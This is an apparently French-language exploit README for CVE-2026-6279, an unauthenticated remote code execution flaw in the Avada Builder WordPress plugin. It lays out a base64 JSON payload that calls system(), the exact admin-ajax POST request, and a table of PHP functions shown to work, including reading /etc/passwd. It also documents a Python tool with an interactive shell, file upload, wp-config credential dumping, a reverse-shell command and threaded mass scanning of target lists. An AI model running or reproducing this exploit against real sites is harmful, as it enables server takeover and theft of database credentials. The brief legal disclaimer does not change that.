
CVE-2026-6279 : Avada (Fusion) Builder <= 3.15.2 – Exécution de code à distance non authentifiée via injection de fonction PHP via l'attribut de shortcode « render_logics » via le gestionnaire AJAX de widget (fusion-builder)
| Champ | Détail |
|---|
| CVE ID | CVE-2026-6279 |
| Affecte | Avada Builder (Fusion Builder) <= 3.15.2 |
| Thème | WordPress Avada Theme |
| Installations actives | 900.000+ |
| Type de vulnérabilité | PHP Function Injection → Unauthenticated RCE |
| CVSS v3.1 | 9.8 (Critical) |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | ❌ Non requise |
| Interaction utilisateur | ❌ Non requise |
| Chercheur | xxcoin |
| Date de publication | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. DÉTECTION DU NONCE │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] ou [fusion_table_of_contents] │
│ ajouté dans le JS sur les pages publiques contenant │
│ le shortcode │
│ │ │
│ ▼ │
│ 2. AJAX NON AUTHENTIFIÉ │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → vérifie uniquement la validité │
│ du nonce, n'authentifie pas l'utilisateur │
│ │ │
│ ▼ │
│ 3. DÉSÉRIALISATION │
│ base64_decode(render_logics) → json_decode() │
│ Pas de validation de structure — JSON contrôlé par │
│ l'attaquant │
│ │ │
│ ▼ │
│ 4. call_user_func() — AUCUNE LISTE BLANCHE │
│ get_value() → cas wp_conditional_tags │
│ call_user_func($value['function'], $value['args']) │
│ N'importe quelle fonction PHP peut être appelée │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Exécution complète de commandes avec les droits du │
│ serveur web │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531 :
// CODE VULNÉRABLE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Aucune vérification de liste blanche
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Encodé en Base64 et envoyé dans le champ POST
render_logics.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| Fonction | Argument | Résultat | Statut |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ Réussite |
passthru() | id | uid=1000(xenon1337) | ✅ Réussite |
shell_exec() | id | uid=1000(xenon1337) | ✅ Réussite |
exec() | id | uid=1000(xenon1337) | ✅ Réussite |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ Réussite |
proc_open() | — | — | ❌ Nécessite 2+ arguments |
popen() | — | — | ❌ Nécessite 2+ arguments |
Note :
call_user_func($fn, $arg)n'accepte qu'un seul argument par nature. Les fonctions nécessitant 2+ arguments (commeproc_open,popen) ne peuvent pas être déclenchées via cette vulnérabilité.
1. Avada génère le fusion_load_nonce pour l'UID 0 (utilisateur public)
2. Sur les pages contenant les shortcodes [fusion_post_cards] ou
[fusion_table_of_contents], le nonce est inclus dans la sortie JS
→ tout le monde peut le voir
3. check_ajax_referer('fusion_load_nonce') vérifie uniquement la
validité du nonce — n'authentifie pas l'utilisateur
4. Résultat : N'importe quel visiteur peut récupérer le nonce et
appeler l'endpoint
| Fichier | Ligne | Fonction | Description |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | Désérialisation de render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — aucune liste blanche |
fusion-widget.php | L44 | — | Connexion render_logics |
fusion-widget.php | L389 | — | Enregistrement du handler AJAX wp_ajax_nopriv |
class-fusion-builder.php | L7551 | — | Enregistrement du nonce déterministe pour UID 0 |
pip install requests packaging
# Mode menu (cible unique + lot)
python3 CVE-2026-6279.py
# Sans protocole (détection automatique)
python3 CVE-2026-6279.py target.com
# Avec protocole
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Avec port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] Cible unique · shell interactif
◆ [2] Scan par lot · exploitation de fichier
✗ [3] Quitter
shell> id # exécuter une commande
shell> cd /var/www/html # changer de répertoire
shell> upload local.php /tmp/x.php # uploader un fichier
shell> download /etc/passwd # télécharger un fichier
shell> wp-config # informations de la base de données
shell> recon # scan du système
shell> revshell 10.0.0.1 4444 # reverse shell
shell> exit # quitter
# Format de targets.txt :
target1.com
http://target2.com
https://target3.com:8080
# ligne de commentaire (ignorée)
♡ fichier de cibles [targets.txt] :
♡ threads [10] : 30
♡ commande [id] :
♡ fichier de sortie [vuln.txt] :
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · Merci : xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada détecté ! (http://localhost:8888)
★ nonce : b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX : http://localhost:8888/wp-admin/admin-ajax.php
★ RCE : system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Network |
| Complexité d'attaque | Low |
| Privilèges requis | None |
| Interaction utilisateur | None |
| Périmètre | Unchanged |
| Confidentialité | High |
| Intégrité | High |
| Disponibilité | High |
| Score total | 9.8 — CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes est illégal. Toute responsabilité incombe à l'utilisateur.
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026
Remerciements spéciaux : Shadow Girlfriend 💜